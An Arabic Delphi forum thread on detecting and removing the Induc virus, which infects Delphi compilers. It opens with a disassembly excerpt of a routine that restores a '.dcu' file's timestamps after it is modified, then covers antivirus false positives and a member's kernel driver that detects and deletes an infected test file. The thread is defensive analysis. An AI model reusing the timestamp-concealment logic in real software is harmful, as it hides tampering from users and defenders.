0040844A |. 50 PUSH EAX ; |pCreationTime
0040844B |. 53 PUSH EBX ; |hFile
0040844C |. E8 D3E5FFFF CALL <JMP.&kernel32.GetFileTime> ; \GetFileTime
00408451 |. 53 PUSH EBX ; /hObject
00408452 |. E8 25E5FFFF CALL <JMP.&kernel32.CloseHandle> ; \CloseHandle
00408457 |. 6A 00 PUSH 0
00408459 |. 6A 00 PUSH 0
0040845B |. 6A 03 PUSH 3
0040845D |. 6A 00 PUSH 0
0040845F |. 6A 00 PUSH 0
00408461 |. 68 00010000 PUSH 100
00408466 |. 8D85 BCFBFFFF LEA EAX,DWORD PTR SS:[EBP-444]
0040846C |. B9 40854000 MOV ECX,Test.00408540 ; ASCII "dcu"
00408471 |. 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8]
00408474 |. E8 5FC7FFFF CALL Test.00404BD8
00408479 |. 8B85 BCFBFFFF MOV EAX,DWORD PTR SS:[EBP-444]
0040847F |. E8 08C9FFFF CALL Test.00404D8C
00408484 |. 50 PUSH EAX ; |FileName
00408485 |. E8 0AE5FFFF CALL <JMP.&kernel32.CreateFileA> ; \CreateFileA
0040848A |. 8BD8 MOV EBX,EAX
0040848C |. 83FB FF CMP EBX,-1
0040848F |. 74 18 JE SHORT Test.004084A9
00408491 |. 8D45 DC LEA EAX,DWORD PTR SS:[EBP-24]
00408494 |. 50 PUSH EAX ; /pLastWrite
00408495 |. 8D45 E4 LEA EAX,DWORD PTR SS:[EBP-1C] ; |
00408498 |. 50 PUSH EAX ; |pLastAccess
00408499 |. 8D45 EC LEA EAX,DWORD PTR SS:[EBP-14] ; |
0040849C |. 50 PUSH EAX ; |pCreationTime
0040849D |. 53 PUSH EBX ; |hFile
0040849E |. E8 B1E6FFFF CALL <JMP.&kernel32.SetFileTime> ; \SetFileTime
004084A3 |. 53 PUSH EBX ; /hObject
004084A4 |. E8 D3E4FFFF CALL <JMP.&kernel32.CloseHandle> ; \CloseHandle
004084A9 |> 33C0 XOR EAX,EAX
004084AB |. 5A POP EDX
004084AC |. 59 POP ECX
004084AD |. 59 POP ECX
004084AE |. 64:8910 MOV DWORD PTR FS:[EAX],EDX
004084B1 |. 68 DB844000 PUSH Test.004084DB
004084B6 |> 8D85 BCFBFFFF LEA EAX,DWORD PTR SS:[EBP-444]
004084BC |. BA 0D000000 MOV EDX,0D
004084C1 |. E8 2AC4FFFF CALL Test.004048F0
004084C6 |. 8D45 F4 LEA EAX,DWORD PTR SS:[EBP-C]
004084C9 |. BA 03000000 MOV EDX,3
004084CE |. E8 1DC4FFFF CALL Test.004048F0
004084D3 \. C3 RET
004084D4 .^ E9 CFBDFFFF JMP Test.004042A8
004084D9 .^ EB DB JMP SHORT Test.004084B6
004084DB . 5F POP EDI
004084DC . 5E POP ESI
004084DD . 5B POP EBX
004084DE . 8BE5 MOV ESP,EBP
004084E0 . 5D POP EBP
004084E1 . C3 RET
انتهى :)
mohfa
28-08-2009, 08:42 PM
اخي :monster1: نعم عملية التنظيف للملفات الملوثة مهمة صعبة وغير موثوق فيها 100 ب 100
**
اعجبني يوما رد Tomasz من ClamAV عندما سؤل لماذا لاتضيفوا خاصية التنظيف مع ال ClamAV فاجاب :
وهل تثق فيها ...!
بارك الله فيك وكل اخواننا اعظاء المنتدى
AL-MOB4RM3G
03-09-2009, 06:31 AM
اخوآني الكرآم سلام الله عليكم اجمعين,,
لي سؤآل بارك الله لكم,,
الآن عملت فورمات للجهآز ولله الحمد,, وموجود الآن عليه ويندوز 7 و الدلفي 7 و الدلفي 2010 + عندي الحمآية هي برنآمج الأفست,,
لكن كل نآتج من برنامج الدلفي 7 يعتبره فيروس,, ؟؟؟
علما انني لا اظن انني قد اصبت بهذا الفيروس لآن وصف الفيروس في الأفست ليس W32/Induc-A وإنما كما تشآهدون في الصورة اسفل ,,
http://img3.imageshack.us/img3/5790/avast1.jpg
هل من احد عنده علم بما هو الخلل ؟ علما انه لا يحدث نفس الشئ مع الدلفي 2010 ؟
بارك الله لكم جميعا,,
STRELiTZIA
03-09-2009, 06:55 AM
و عليكم السلام و رحمة الله
علما انني لا اظن انني قد اصبت بهذا الفيروس لآن وصف الفيروس في الأفست ليس W32/Induc-A وإنما كما تشآهدون في الصورة اسفل
شركات الحماية لا تعطي نفس التصنيف للبرامج الضارة...
عندك حلين لتتاكد. مع ان تصنيف Avast في هذه الرسالة : يعتبر تصنيف عام...
اما ان تعطل مضاد البرامج الضارة و تضغط الملف بكلمة سر : malware و ترفعه هنا...
او ترسله و تحصل على النتيجة في ثوان... التحليل السريع على Virus Total...
تحقق ايضا من اعراض التلويث التي تحدثنا عنها في المشاركات السابقة و جرب اداة : SlugMRT.
اخبرنا بالتطورات...
بالتوفيق ان شاء الله
AL-MOB4RM3G
03-09-2009, 07:12 AM
اخي الكريم,,
هذا رآبط من الفيروس توتال,, لا يبدوا انه يبشّر بخير,,, :(
من هنا... (http://www.virustotal.com/sv/analisis/c1919a7a1425844d75413bcc9e0c189f553c52c8bae6e0d708 5ab5f1a3c8cc47-1251954435)
و البرنآمج في البرفقآت مع الباسورد الذي ذكرته,,
غير من rar الى zip في امتآد البرنآمج بعد تحميله,,
برمجت دريفر يقوم بفحص ملف ScanMe.dpr الموجود في الـ C إفتراظا ؟؟؟ .
عندما يجد الملف مصاب يقوم بحدفه مباشرة .. المهم :
1- هل عملية الـ Disinfect هي عكس الحقن في Pe مثلا ؟؟ .
2- هل هناك مراجع في هدا الصدد Disinfect في الـ Kernel Mode ؟؟ .
بارك الله فيكم ,,
STRELiTZIA
15-09-2009, 11:26 AM
و عليكم السلام و رحمة الله
برمجت دريفر يقوم بفحص ملف ScanMe.dpr الموجود في الـ C إفتراظا ؟؟؟ .
ممممم جولتك في عام الكركدن بدأت تأتي بثمارها :)
جاري تجربة الدرايفر على VM واول ملاحظة :
Infinite loop الدرايفر يدور في حلقة غير متناهية في حالة عدم وجود الملف اصلا... يجمد النظام كاملا...
تم التصحيح كان الخطأ في صياغة الكود FILE_OPEN بدل FILE_Create لأاننا سنقوم بفحص ملف موجود مسبقا و ليس إنشائه :kick: .
بارك الله فيك أستاذ ,,
STRELiTZIA
15-09-2009, 11:52 AM
الآن يعمل بكفاءة
00000000 0.00000000 Driver :: LoaDed
00000001 0.03575036 File Infected :: Offset : $2516
00000002 0.03716003 File Deleted SucessFully
في حالة تغيير الملف بصيغة Read only
00000000 0.00000000 Driver :: LoaDed
00000001 0.02547251 File Infected :: Offset : $2516
00000002 0.02591810 Fail To Delete File Result:0x00000000
00000003 0.02616590 Object Name :\??\C:\ScanMe.dpr
هناك التباس في ارجاع قيمة نجاح العملية :
لاحظ القيم الأصلية لنجاح العملية و القيم التي يرجعها الدرايفر :
const
STATUS_SUCCESS = $0;
STATUS_UNSUCCESSFUL = $C0000001;
STATUS_NOT_IMPLEMENTED = $C0000002;
STATUS_INVALID_INFO_CLASS = $C0000003;
STATUS_INFO_LENGTH_MISMATCH = $C0000004;
STATUS_ACCESS_VIOLATION = $C0000005;
STATUS_IN_PAGE_ERROR = $C0000006;
STATUS_PAGEFILE_QUOTA = $C0000007;
STATUS_INVALID_HANDLE = $C0000008;
STATUS_BAD_INITIAL_STACK = $C0000009;
STATUS_BAD_INITIAL_PC = $C000000A;
STATUS_INVALID_CID = $C000000B;
STATUS_TIMER_NOT_CANCELED = $C000000C;
STATUS_INVALID_PARAMETER = $C000000D;
STATUS_NO_SUCH_DEVICE = $C000000E;
STATUS_NO_SUCH_FILE = $C000000F;
STATUS_INVALID_DEVICE_REQUEST = $C0000010;
STATUS_DEVICE_CONFIGURATION_ERROR = $00C0000182;
STATUS_INSUFFICIENT_RESOURCES = $C000009A;
STATUS_OBJECT_NAME_NOT_FOUND = $C0000034;
STATUS_IO_PRIVILEGE_FAILED = $C0000137;
STATUS_BUFFER_TOO_SMALL = $C0000023;
STATUS_OBJECT_TYPE_MISMATCH = $C0000024;
هذا لأن لم أكتب Result أصلا في الرسالة (لعله الصيام :crazy: ) المهم تم التصحيح :
http://img17.imageshack.us/img17/897/849i.jpg
تم إظافة نوع الخطأ للمكتبة :
STATUS_NoDelete_ReadOnly = $C0000121;
بالتوفيق,,
جزاك الله خير ..... و شكرآ
B.M.AbdelAziZ
24-09-2011, 06:23 PM
Win32/Induc.C متغير جديد من فيروس Induc يصيب دلفي والبرامج المبرمجة بدلفي
أكثر خبثا من سابقيه
http://blog.eset.com/2011/09/14/the-induc-virus-is-back
WARD.MHM
25-09-2011, 08:34 PM
يبدو ان مبرمجه له تجربه سيئة مع دلفي في صغره او رسب فيها بلجامعة
ها ها ها ها
virtual
25-10-2011, 09:15 AM
انا شخصيا عانيت مع افيرا و خصوصا قيمة TR/ARAPS.Gen وهذا ما جعلني اغير الى VC
هذا التحذير يظهر احيانا عندما تكتب الكود بال API
مثلا جرب
program test
uses opengl
begin
glVertex3f(0,0,0) end
B.M.AbdelAziZ
25-10-2011, 09:37 AM
السلام عليكم ورحمة الله
عانيت مع افيرا و خصوصا قيمة TR/ARAPS.Gen
راجع موضوع : مصداقية برامج الحماية Antivirus
http://www.delphi4arab.com/forum/showthread.php?t=1541
vBulletin® , Copyright ©2008-2012